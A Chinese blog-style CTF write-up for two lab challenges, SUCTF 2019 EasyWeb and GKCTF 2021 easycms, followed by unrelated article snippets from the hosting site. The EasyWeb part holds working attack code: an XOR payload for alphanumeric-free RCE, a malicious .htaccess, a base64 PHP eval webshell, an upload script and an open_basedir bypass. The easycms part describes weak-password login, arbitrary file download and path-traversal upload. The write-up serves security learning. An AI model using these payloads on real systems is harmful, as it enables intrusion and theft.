学习记录1

[SUCTF 2019]EasyWeb

直接给了源代码,分析一下

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

定义了一个名为 get_the_flag 的函数。基于用户的IP地址生成一个MD5哈希值,并将其附加到目录路径中,用于创建一个唯一的用户目录。

检查是否有文件通过POST请求上传。获取上传文件的临时文件名、原始文件名以及文件扩展名。如果文件扩展名包含“ph”字符(不区分大小写),则终止程序并输出 ^_^。检查上传文件的内容,如果包含 <?(PHP代码标记),则终止程序并输出 ^_^。验证文件是否为合法的图像文件,如果不是,则终止程序并输出 ^_^

获取GET请求参数 _ 的值,并将其存储在变量 $hhh 中。如果 $hhh 为空,则显示当前文件的源代码。如果 $hhh 的长度超过18个字符,则终止程序并输出 'One inch long, one inch strong!'。

如果 $hhh 包含特定的字符(如控制字符、字母数字等),则终止程序并输出 'Try something else!'。计算 $hhh 中不同字符的数量,如果超过12种不同字符,则终止程序并输出 "Almost there!"。

很显然需要通过无字符RCE去调用上面的get_the_flag函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();的格式来调用,此处[]被过滤可以采用{}来替代也是一样的。

无数字字母,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,

异或脚本:

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

运行后得到

G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9

替换即可

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

 可以看到禁用了很多函数。

还有目录。

接下来就可以考虑get_the_flag函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph问价内容也不能包含<?,这里可以采用.htaccess(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file指定文件被PHP包含,通过AddType application/x-httpd-php指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter伪协议进行base64编码处理,这样就能绕过对<?的检测了。

还有个文件头检测,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下: 

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"

 ljh.ahhh:

GIF89a11		#11是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://42c08927-13b5-4057-9ece-35c5441d0c52.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('ljh.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到上传路径。

upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/.htaccess
upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/ljh.ahhh 

连接蚁剑后看到

接下来就需要考虑之前phpinfo中看到的关于open_basedirdisable_function的限制了,这里新建个php文件用通用的函数组合来绕过限制。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
?>

涉及到bypass open_basedir的新方法具体可看bypass open_basedir的新方法 - 先知社区

得到

知道flag的位置,接着读取。

<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
echo "<hr>";
echo file_get_contents("/THis_Is_tHe_F14g");
?>

总结:

无数字字母的rce绕过,采用异或方法。文件上传绕过。绕过open_basedir。

shell.php的解释:

创建了一个名为img的目录,并切换到该目录下。

open_basedir设置为..,试图限制PHP的文件访问到父目录。然后,通过多次向上导航,是为了到达根目录(/)。

使用scandir('/')列出根目录的内容。

open_basedir

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

无论是file_get_contents函数还是highlight_file都无效.、

[GKCTF 2021]easycms

是一个蝉知的cms,先用dirsearch扫一下目录。

 扫到后台登录,尝试后是弱口令

admin      12345

登录进去以后有两种方法
一. 任意文件下载
设计——自定义——导出主题——保存

 http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

 复制下载链接。

最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=

http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

二. 文件上传
设计——自定义——首页——编辑,选择php源代码

保存的时候要我先创建一个cksj文件,这个文件名是每个人不一样的。

设计——组件——素材库——上传素材

 先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/cksj

 编辑php后返回首页得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/956773.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

git操作(Windows中GitHub)

使用git控制GitHub中的仓库版本&#xff0c;并在Windows桌面中创建与修改代码&#xff0c;与GitHub仓库进行同步。 创建自己的GitHub仓库 创建一个gen_code实验性仓库用来学习和验证git在Windows下的使用方法&#xff1a; gen_code仓库 注意&#xff0c;创建仓库时不要设置…

Redis的安装和使用--Windows系统

Redis下载地址&#xff1a; windows版本readis下载&#xff08;GitHub&#xff09;&#xff1a; https://github.com/tporadowski/redis/releases &#xff08;推荐使用&#xff09; https://github.com/MicrosoftArchive/redis/releases 官网下载&#xff08;无Windows版本…

【odbc】odbc连接kerberos认证的 hive和spark thriftserver

hive odbc驱动&#xff0c;以下两种都可以 教程&#xff1a;使用 ODBC 和 PowerShell 查询 Apache HiveHive ODBC Connector 2.8.0 for Cloudera Enterprise spark thriftserver本质就是披着hiveserver的外壳的spark server 完成kerberos认证: &#xff08;1&#xff09;可以…

AllData数据中台核心菜单十一:数据集成平台

&#x1f525;&#x1f525; AllData大数据产品是可定义数据中台&#xff0c;以数据平台为底座&#xff0c;以数据中台为桥梁&#xff0c;以机器学习平台为中层框架&#xff0c;以大模型应用为上游产品&#xff0c;提供全链路数字化解决方案。 ✨奥零数据科技官网&#xff1a;…

随遇随记篇

vue 函数 unref() 获取原始值 ref 定义的属性 需要 .value 才能拿到值&#xff0c;unref 直接返回原始值&#xff1b;若属性不是ref 定义的&#xff0c;也是直接返回原始值&#xff1b; /* description: 是否必填*/required?: boolean | Ref<boolean>.....let value …

Python操作Excel——openpyxl使用笔记(1)

0. 模块的安装 使用命令&#xff1a; pip install openpyxl 通过命令&#xff1a; pip show openpyxl 检查安装&#xff0c;当前使用的版本信息如下&#xff1a; 1. 文档的基本操作 1.1 创建&#xff0c;保存和关闭 几个简单的函数调用即可&#xff1a; import openpyx…

STM32之FreeRTOS开发介绍(十九)

STM32F407 系列文章 - freertos&#xff08;十九&#xff09; 目录 前言 一、简述 二、开源网址 三、原理及功能特性 1.原理 2.功能 3.特点 4.优缺点 四、参考书籍 五、实现方式 总结 前言 FreeRTOS是一个免费的、开源的实时操作系统&#xff0c;专为微控制器和嵌入…

《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》重印变更的彩插

禹晶、肖创柏、廖庆敏《数字图像处理&#xff08;面向新工科的电工电子信息基础课程系列教材&#xff09;》

【HarmonyOS NEXT】碰一碰开发分享

关键词&#xff1a;鸿蒙、碰一碰、systemShare、harmonyShare、Share Kit 华为分享新推出碰一碰分享&#xff0c;支持用户通过手机碰一碰发起跨端分享&#xff0c;可实现传输图片、共享wifi等。我们只需调用系统 api 传入所需参数拉起对应分享卡片模板即可&#xff0c;无需对 U…

I2S是什么通信协议?它如何传输音频数据?它和I2C是什么关系?

首先我们先明确一点&#xff0c;I2S和I2C没有什么关系&#xff0c;如果非要扯点共同点的话那就是它们都是由飞利浦制定的。 I2C我们用的比较多&#xff0c;我们用的大多数的传感器模块用的通信协议就是I2C&#xff0c;SPI&#xff0c;UART这些。 而I2S应用领域比较单一&#…

ubuntu20.04有亮度调节条但是调节时亮度不变

尝试了修改grub文件&#xff0c;没有作用&#xff0c;下载了brightness-controllor&#xff0c;问题解决了。 sudo add-apt-repository ppa:apandada1/brightness-controller sudo apt update sudo apt install brightness-controller 之后在应用软件中找到brightness-contro…

Windows FileZila Server共享电脑文件夹 映射21端口外网连接

我有这样一个使用场景&#xff0c;在外部网络环境下&#xff0c;通过手机便捷地读取存储在电脑上的视频文件。比如在外出旅行、出差&#xff0c;身边没有携带电脑&#xff0c;仅依靠手机设备&#xff0c;就能随时获取电脑里存储的各类视频&#xff0c;无论是学习资料视频、工作…

怎样使用树莓派自己搭建一套ADS-B信号接收系统

0 我们知道&#xff0c;ADS-B全称广播式自动相关监视系统&#xff0c;其实就是飞机发出的广播信号&#xff0c;用明码来对外发送自己的位置、高度、速度、航向等信息&#xff0c;是公开信息。连续接收到一架飞机发出的ADS-B信息后&#xff0c;可以通过其坐标点来描绘出飞机的航…

Qt 5.14.2 学习记录 —— 십칠 窗口和菜单

文章目录 1、Qt窗口2、菜单栏设置快捷键添加子菜单添加分割线和菜单图标 3、工具栏 QToolBar4、状态栏 QStatusBar5、浮动窗口 QDockWidget 1、Qt窗口 QWidget&#xff0c;即控件&#xff0c;是窗口的一部分。在界面中创建控件组成界面时&#xff0c;Qt自动生成了窗口&#xf…

Java Web开发高级——Spring Boot与Docker容器化部署

随着云计算和微服务架构的快速发展&#xff0c;容器化已成为现代应用部署的重要手段。Docker作为最受欢迎的容器化技术之一&#xff0c;使得开发者能够将应用及其所有依赖打包到一个可移植的容器中&#xff0c;简化了开发、测试、部署和运维的流程。本篇文章将通过以下内容讲解…

SSM宠物医院信息管理系统

&#x1f345;点赞收藏关注 → 添加文档最下方联系方式咨询本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345; 项目视频 宠…

【esp32小程序】小程序篇02——连接git

一、创建仓库 进入gitee官网&#xff0c;登录&#xff08;如果没有gitee账号的就自行注册一下&#xff09;。 点击号-->新建仓库 填写好必填信息&#xff0c;然后点击“创建” 二、微信开发者工具配置 在微信开发者工具打开我们的项目。按下面的步骤依次点击 三、验证 点…

回归人文主义,探寻情感本质:从文艺复兴到AI时代,我的情感探索之旅

回归人文主义&#xff0c;探寻情感本质&#xff1a;从文艺复兴到AI时代&#xff0c;我们的情感探索之旅 多年来&#xff0c;我们的团队一直关注人工智能&#xff0c;尤其是AI在音乐领域的应用研究。随着技术的不断演进&#xff0c;我们也不断反思&#xff1a;在“算法、代码、…

【2025 ODA teigha系列开发教程一】实现WPF ViewDirectX DWGDXF 模式图纸的预览查看,缩放

&#x1f3a8; CAD图纸查看器 下载Teigha SDK 21.6 FOR C# &#x1f4d6; 项目介绍 嗨&#xff01;欢迎来到CAD图纸查看器项目&#xff01;这是一个基于WPF和Teigha SDK开发的专业CAD文件查看工具。无论你是工程师、设计师&#xff0c;还是其他需要查看CAD图纸的专业人士&a…

【LeetCode100】--- 寻找重复数

题目传送门 方法一&#xff1a;暴力解法&#xff08;超时&#xff09; 算法原理 双重循环&#xff0c;每次固定一个数&#xff0c;再遍历别的数。比较这两个数是否相等&#xff0c; 若相等则返回这个数。就是重复数。 复杂度分析 时间复杂度&#xff1a;O&#xff08;N方&…